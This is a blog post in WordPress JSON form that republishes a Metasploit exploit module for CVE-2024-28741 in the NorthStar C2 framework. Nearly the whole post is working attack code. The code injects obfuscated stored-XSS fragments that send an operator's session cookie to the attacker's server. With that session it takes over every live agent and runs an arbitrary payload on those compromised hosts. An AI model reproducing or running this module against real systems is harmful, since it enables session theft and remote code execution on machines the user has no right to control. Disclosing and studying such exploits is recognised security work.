{"id":56992,"date":"2024-05-22T19:30:11","date_gmt":"2024-05-22T15:30:11","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178660\/northstar_c2_xss_to_agent_rce.rb.txt"},"modified":"2024-05-22T19:30:11","modified_gmt":"2024-05-22T15:30:11","slug":"northstar-c2-cross-site-scripting-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/northstar-c2-cross-site-scripting-code-execution\/","title":{"rendered":"NorthStar C2 Cross Site Scripting \/ Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>prepend Msf::Exploit::Remote::AutoCheck<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::HttpServer::HTML<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;NorthStar C2 XSS to Agent RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page is<br \/>vulnerable to a stored xss.<br \/>An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session.<br \/>With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts<br \/>(agents), and kill the original agent.<\/p>\n<p>Successfully tested against NorthStar C2 commit e7fdce148b6a81516e8aa5e5e037acd082611f73 running on<br \/>Ubuntu 22.04. The agent was running on Windows 10 19045.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;h00die&#8217;, # msf module<br \/>&#8216;chebuya&#8217; # original PoC, analysis<br \/>],<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;URIPATH&#8217; =&gt; &#8216;\/&#8217; # avoid long URLs due to 20char limit in xss payloads<br \/>},<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/blog.chebuya.com\/posts\/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss\/&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/chebuya\/CVE-2024-28741-northstar-agent-rce-poc&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/EnginDemirbilek\/NorthStarC2\/commit\/7674a4457fca83058a157c03aa7bccd02f4a213c&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2024-28741&#8217;]],<br \/>&#8216;Platform&#8217; =&gt; [&#8216;win&#8217;],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Automatic Target&#8217;, {}]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-03-12&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [EVENT_DEPENDENT],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>Opt::RPORT(80),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;The URI of the NorthStar C2 Application&#8217;, &#8216;\/&#8217;]),<br \/>OptBool.new(&#8216;KILL&#8217;, [ false, &#8216;Kill the NorthStar C2 agent&#8217;, false])<br \/>])<br \/>end<\/p>\n<p>def check<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;getin.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;<br \/>)<br \/>return CheckCode::Unknown(&#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>return CheckCode::Unknown(&#8220;#{peer} &#8211; Check URI Path, unexpected HTTP response code: #{res.code}&#8221;) unless res.code == 200<\/p>\n<p>return CheckCode::Detected(&#8216;NorthStar Login page detected&#8217;) if res.body.include? &#8216;&lt;title&gt;The NorthStar Login&lt;\/title&gt;&#8217;<\/p>\n<p>CheckCode::Safe(&#8216;NorthStar C2 Login page not detected&#8217;)<br \/>end<\/p>\n<p>def steal_agents(cookie)<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;clients.php&#8217;),<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;cookie&#8217; =&gt; &#8220;PHPSESSID=#{cookie}&#8221;<br \/>}<br \/>)<br \/>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>soup = Nokogiri::HTML(res.body)<br \/>rows = soup.css(&#8216;tr&#8217;)<\/p>\n<p>agent_table = Rex::Text::Table.new(<br \/>&#8216;Header&#8217; =&gt; &#8216;Live Agents&#8217;,<br \/>&#8216;Indent&#8217; =&gt; 1,<br \/>&#8216;Columns&#8217; =&gt;<br \/>[<br \/>&#8216;ID&#8217;,<br \/>&#8216;IP&#8217;,<br \/>&#8216;OS&#8217;,<br \/>&#8216;Username&#8217;,<br \/>&#8216;Hostname&#8217;,<br \/>&#8216;Status&#8217;<br \/>])<\/p>\n<p>rows.each do |row|<br \/>cells = row.css(&#8216;td&#8217;)<br \/>next if cells.length != 9<\/p>\n<p>status = cells[7].text.strip<br \/>next if status != &#8216;Online&#8217;<\/p>\n<p>agent_id = cells[1].text.strip<br \/>agent_ip = cells[2].text.strip<br \/>hostname = cells[5].text.strip<\/p>\n<p>agent_table &lt;&lt; [agent_id, agent_ip, cells[3].text.strip, cells[4].text.strip, hostname, cells[7].text.strip]report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: &#8220;Northstar C2 Agent Deployed, callback: #{datastore[&#8216;RHOST&#8217;]}&#8221;)<br \/>end<\/p>\n<p>fail_with(Failure::NotFound, &#8216;No live agents to exploit&#8217;) if agent_table.rows.empty?<\/p>\n<p>print_good(agent_table.to_s)<\/p>\n<p>script_tags = soup.css(&#8216;script&#8217;)<\/p>\n<p>csrf_token = nil<br \/>script_tags.each do |script_tag|<br \/>if script_tag.text.include?(&#8216;csrfToken&#8217;)<br \/>csrf_token = script_tag.text.split(&#8216;&#8221;&#8216;)[1]break<br \/>end<br \/>end<\/p>\n<p>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Unable to find CSRF token&#8221;) unless csrf_token<\/p>\n<p>vprint_good(&#8220;CSRF Token: #{csrf_token}&#8221;)<\/p>\n<p>agent_table.rows.each do |agent|<br \/>agent_id = agent[0]hostname = agent[4]print_status(&#8220;(#{agent_id}) Stealing #{hostname}&#8221;)<\/p>\n<p>vprint_status(&#8221; (#{agent_id}) Enabling shell mode&#8221;)<br \/>agent_exec(agent_id, csrf_token, cookie, &#8216;enablecmd&#8217;)<br \/>vprint_status(&#8221; (#{agent_id}) Running payload&#8221;)<br \/>agent_exec(agent_id, csrf_token, cookie, payload.encoded)<br \/>vprint_status(&#8221; (#{agent_id}) Disabling shell mode&#8221;)<br \/>agent_exec(agent_id, csrf_token, cookie, &#8216;disablecmd&#8217;)<br \/>next unless datastore[&#8216;KILL&#8217;]\n<p>vprint_status(&#8221; (#{agent_id}) Killing NorthStar payload&#8221;)<br \/>agent_exec(agent_id, csrf_token, cookie, &#8216;die&#8217;)<br \/>end<br \/>end<\/p>\n<p>def agent_exec(agent_id, csrf_token, cookie, command)<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;functions&#8217;, &#8216;setCommand.nonfunction.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;cookie&#8217; =&gt; &#8220;PHPSESSID=#{cookie}&#8221;<br \/>},<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;slave&#8217; =&gt; agent_id,<br \/>&#8216;command&#8217; =&gt; command,<br \/>&#8216;sid&#8217; =&gt; agent_id,<br \/>&#8216;token&#8217; =&gt; csrf_token<br \/>}<br \/>)<br \/>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<\/p>\n<p># 1min seems enough, NorthStar mentions 4_000ms response times&#8230;<br \/>(2 * 60).times do<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;getresponse.php&#8217;),<br \/>&#8216;headers&#8217; =&gt; {<br \/>&#8216;cookie&#8217; =&gt; &#8220;PHPSESSID=#{cookie}&#8221;<br \/>},<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;slave&#8217; =&gt; agent_id<br \/>}<br \/>)<br \/>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>if !res.body.empty? || command == &#8216;die&#8217;<br \/>vprint_good(&#8221; Command sent successfully to agent #{agent_id}, response: #{res.body}&#8221;)<br \/>return<br \/>end<br \/>Rex.sleep(0.5)<br \/>end<br \/>end<\/p>\n<p>def on_request_uri(cli, request)<br \/>if request.method == &#8216;GET&#8217; &amp;&amp; @xss_response_received == false<br \/>vprint_status(&#8216;Received GET request.&#8217;)<br \/>return unless request.uri.include? &#8216;=&#8217;<\/p>\n<p>cookie = request.uri.split(&#8216;PHPSESSID=&#8217;)[1]print_good(&#8220;Received cookie: #{cookie}&#8221;)<br \/>send_response_html(cli, &#8221;)<br \/>@xss_response_received = true<br \/>steal_agents(cookie)<br \/>end<br \/>send_response_html(cli, &#8221;)<br \/>end<\/p>\n<p>def xor_strings(text, key)<br \/>text.chars.map.with_index { |char, i| (char.ord ^ key[i % key.length].ord).chr }.join<br \/>end<\/p>\n<p>def srvhost<br \/>datastore[&#8216;SRVHOST&#8217;]end<\/p>\n<p>def primer<br \/>@xss_response_received = false<br \/>vprint_status(&#8216;Sending XSS&#8217;)<br \/># divide up the host length so that it fits in our payload<br \/>h1 = srvhost[0&#8230;srvhost.length \/ 2]h2 = srvhost[srvhost.length \/ 2..]sid_payloads = [&#8216;*\/&lt;\/script&gt;&lt;&#8216;, &#8216;*\/i.src=u\/*&#8217;, &#8216;*\/new Image;\/*&#8217;, &#8216;*\/var i=\/*&#8217;, &#8220;*\/s+h+p+&#8217;\/&#8217;+c;\/*&#8221;, &#8216;*\/var u=\/*&#8217;, &#8220;*\/&#8217;http:\/\/&#8217;;\/*&#8221;, &#8216;*\/var s=\/*&#8217;, &#8220;*\/&#8217;:#{datastore[&#8216;SRVPORT&#8217;]}&#8217;;\/*&#8221;, &#8216;*\/var p=\/*&#8217;, &#8216;*\/a+b;\/*&#8217;, &#8216;*\/var h=\/*&#8217;, &#8220;*\/&#8217;#{h2}&#8217;;\/*&#8221;, &#8216;*\/var b=\/*&#8217;, &#8220;*\/&#8217;#{h1}&#8217;;\/*&#8221;, &#8216;*\/var a=\/*&#8217;, &#8216;*\/d.cookie;\/*&#8217;, &#8216;*\/var c=\/*&#8217;, &#8216;*\/document;\/*&#8217;, &#8216;*\/var d=\/*&#8217;, &#8216;&lt;\/td&gt;&lt;script&gt;\/*&#8217;]sid_payloads.each do |pload|<br \/>pload = &#8220;N#{pload}q&#8221;<br \/>vprint_status(&#8220;Sending: #{pload}&#8221;)<br \/>res = send_request_cgi(<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;login.php&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;sid&#8217; =&gt; Rex::Text.encode_base64(xor_strings(pload, &#8216;northstar&#8217;))<br \/>}<br \/>)<\/p>\n<p>fail_with(Failure::Unreachable, &#8220;#{peer} &#8211; Could not connect to web service &#8211; no response&#8221;) if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{peer} &#8211; Unexpected HTTP code received: #{res.code}&#8221;) unless res.code == 200<br \/>end<br \/>print_status(&#8216;Waiting on XSS execution&#8217;)<br \/>end<\/p>\n<p>def exploit<br \/>fail_with(Failure::BadConfig, &#8216;SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful&#8217;) if Rex::Socket.is_ip_addr?(datastore[&#8216;SRVHOST&#8217;]) &amp;&amp; Rex::Socket.addr_atoi(datastore[&#8216;SRVHOST&#8217;]) == 0<br \/>fail_with(Failure::BadConfig, &#8216;SRVPORT and FETCH_SRVPORT must be different&#8217;) if datastore[&#8216;SRVPORT&#8217;] == datastore[&#8216;FETCH_SRVPORT&#8217;]super<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheckinclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;NorthStar C2 XSS to Agent RCE&#8217;,&#8216;Description&#8217; =&gt; %q{NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page isvulnerable to a stored xss.An unauthenticated user &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56992","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56992","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56992"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56992\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56992"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56992"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56992"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}